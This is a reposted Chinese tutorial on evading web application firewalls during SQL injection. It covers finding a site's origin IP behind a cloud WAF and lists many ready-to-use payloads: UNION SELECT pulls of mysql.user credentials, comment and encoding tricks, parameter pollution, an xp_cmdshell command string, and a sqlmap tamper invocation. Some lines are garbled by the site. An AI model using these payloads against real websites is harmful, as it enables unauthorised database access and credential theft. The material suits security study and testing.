欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

waf绕过之——waf注入绕过

程序员文章站 2022-04-30 10:39:29
...

waf注入绕过

这样算是面试过程中比较经典的一个问题了

网站WAF是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。
功能涵盖了网马/木马扫描、防SQL注入、防盗链、防CC攻击、网站流量实时监控、网站CPU监控、下载线程保护、IP黑白名单管理、网页防篡改功能等模块。

能够为用户提供实时的网站安全防护,避免各类针对网站的攻击所带来的危害。主要是防一些网络层和传输层的攻击

分类

软件

装在主机侧(服务器)上
比较出名的安全狗就是其中之一

硬件

创建在企业中
用户访问网站都要经过

云waf

知道真实IP地址可以过

				很多公司不是全部域名都上了云waf

利用泛域名获取真实IP
开启之后,任何域名都可以解析,可以解决暴力**
也就是可以通过一个不存在的二级域名访问网站比如wdedx.baidu.com
开启泛域名有一个缺点
这时候不管是CDN还是WAF都是直接到真实IP
也就是我们通过ping一个随意的二级域名,就可以找到真实IP了

同时也可以利用burp中插件bypass waf
注意burp任何插件安装后都要在项目选项,会话处理进行配置
可以伪造本地访问

waf硬件软件功能是差不多,像一个防火墙一样,创建在企业链路上,基本是企业必备的,按域名收费

WAF简介

网站WAF是一款服务器安全防护软件,是为IDC运营商、虚拟主机服务商、企业主机、服务器管理者等用户提供服务器安全防范的实用系统,是集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具。

常见的系统攻击分为两类:
一是利用Web服务器的漏洞进行攻击,如DDOS攻击、病毒木马破坏等攻击;
二是利用网页自身的安全漏洞进行攻击,如SQL注入攻击、跨站脚本攻击等。常见攻击方式对网站服务器带来的危害主要集中在病毒木马破坏、网页非法篡改、各类网络攻击带来的威胁。

waf注入绕过检测方法

要实现绕过首先让我们了解一下waf防御流程

waf检测阶段流程

waf绕过之——waf注入绕过

WAF身份认证阶段的绕过

身份认证阶段
WAF是有一个白名单的,在白名单内的客户请求将不做检测

绕过方法一:伪造搜索引擎
老版本的WAF是有这个漏洞的,就是把User-Agent修改为搜索引擎,便可以绕过,进行sql注入等攻击, 这里推荐一个火狐插件,可以修改User-Agent,叫User-Agent Switcher
现在不可以了

绕过方法二:伪造白名单特殊目录
之前360webscan有这个缺陷,现在也不行了

绕过方法三:直接攻击源站
这个方法可以用于一些云WAF,云WAF的原理:通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果我们能通过一些手段(比如c段、社工)找到原始的服务器地址,便可以绕过

数据包解析阶段的绕过(主要是正常解析情况)

(1)编码绕过
最常见的方法之一,可以进行urlencode
早期的方法,现在效果不是太好
(2)修改请求方式绕过
最典型的修改请求方式绕过,很多的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。
(3)复参数绕过
例如一个请求是这样的

GET /pen/news.php?id=1 union select user,password from mysql.user

可以修改为

GET pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user

很多WAF都可以这样绕,测试最新版WAF能绕过部分语句
(4)WAF触发规则的绕过
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法很多
绕过策略一:特殊字符替换空格
用一些特殊字符代替空格,比如在mysql中%0a是换行,可以代替空格,这个方法也可以部分绕过最新版本的WAF,在sqlserver中可以用/**/代替空格,也可以使用如下方法:

http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/union/*|%23--%23|*/select/*|%23--%23|*/1,user(),3,4,5
http://192.168.0.142:8080/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/1=2

绕过策略二:特殊字符拼接
把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,在mssql中,函数里面可以用+来拼接
如:GET /pen/news.php?id=1;exec(master…xp_cmdshell ‘net user’)
可以改为:GET /pen/news.php?id=1; exec(‘maste’+‘r…xp’+’_cmdshell’+’“net user”’)

绕过策略三:注释包含关键字
在mysql中,可以利用/!/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的WAF可以完美绕过。
如: GET /pen/news.php?id=1 union select user,password from mysql.user
可以改为: GET /pen/news.php?id=1 /!union/ /!select/ user,password /!from/ mysql.user
现在不可以

绕过策略四:特殊符号
尝试seelct~ select~1 select! aaa@qq.com等绕过成功

(5):空格替换法
把空格替换成%0a/**/可以绕过最新版本WAF, 在Pangolin中 点击 编辑-- 配置-- 高级-- 选择替换空格使用-- 填上%0a/**/即可

http://192.168.0.142:8080/sql.php?id=1%20union%23%0aselect%23%0a1,user(),3,4,5

(6)关键字替换

http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….

此方法适用于一些会把union select替换掉的WAF,经过WAF过滤后就会变成 union select 1,2,3,4....

(7)编码与注释结合

http://www.***.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4…
http://192.168.0.142:8080/sql.php?id=1/*!50000*/union/*!50000*/select/*!50000*/1,user(),3,4,5
http://192.11.22.55/sqli/Less-1/?id=1' and /*!1=1*/ %23 (WAF不拦截)

U替换为%55,S替换为%53 在 union 和 select 之间添加注释/**/
手工进行加注释进行注入太慢,一般我们通过Sqlmap这类工具来实现自动注入:

sqlmap.py -u "URL" --tamper="versionedmorekeywords.py" --dealy=1

(8)利用WAF本身的功能绕过
假如你发现WAF会把"*"替换为空,那么你就可以利用这一特性来进行绕过http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4....
其它方法-15+(uNioN)+(sElECt)….-15+(uNioN+SeleCT)+…-15+(UnI)(oN)+(SeL)(ecT)+….-15+union (select 1,2,3,4…)
(9)使用其他变量或者命令对注入语句进行替换

COMMAND | WHAT TO USE INSTEAD
	@@version | version()
		concat() | concat_ws()
			group_concat() | concat_ws()
					= | like
				**还有就是把or '1=1' 改成更复杂的例如-1=-1**

(10)组合绕过waf
先判断注入点,把and为&&,urlencode后为%26%26

http://192.168.0.102:8080/sql.php?id=1%20%26%26%20-1=-2

具体讲解绕过方法
1.利用()代替空格
2.利用mysql特性/!/执行语句
3.利用/**/混淆代码
注入语句

							union/*%00*//*!50010select*/(database/**/()),(user/**/())%23
							id=1/*|%23--%23|*/unioN/*|%23--%23|*/sElect/*|%23--%23|*/1,     
							user(),(database/**/()),4,5
							http://192.168.0.102:8080/sql.php?id=1 
							union/*%00*//*!50010select*/1,user(),version(),4,5

注意
1.mysql关键字中是不能插入/**/的,即se/**/lect是会报错的,但是函数名和括号之间是可以加上/**/的,像database/**/()这样的代码是可以执行的
2./!/中间的代码是可以执行的,其中50010为mysql版本号,只要mysql大于这个版本就会执行里面的代码
3.数据或者函数周围可以无限嵌套()
4.利用好%00

补充

IP地址黑名单,在生产环境中有很多公司选择关闭这一功能,一方面是误封率很高,另一方面因为正常用户IP被攻击者伪造利用

waf针对于get防护度是很高的,很多选项默认开启,但是cookie post很多功能并不开启,现在没有一个安全厂商可以做到全部功能开启,资源占用量太大,所以一般只检测常见问题
因此在绕过的时候尽量避免get请求

小结:整体思路还是比较庞大的,按照整体防御思路进行绕过来记忆吧,感觉WAF跟DNS有一点异曲同工之处,查了一下,可以结合起来做防御,今天还学了点木马免杀,总结就不发了,问为什么的就赶紧远离好吧waf绕过之——waf注入绕过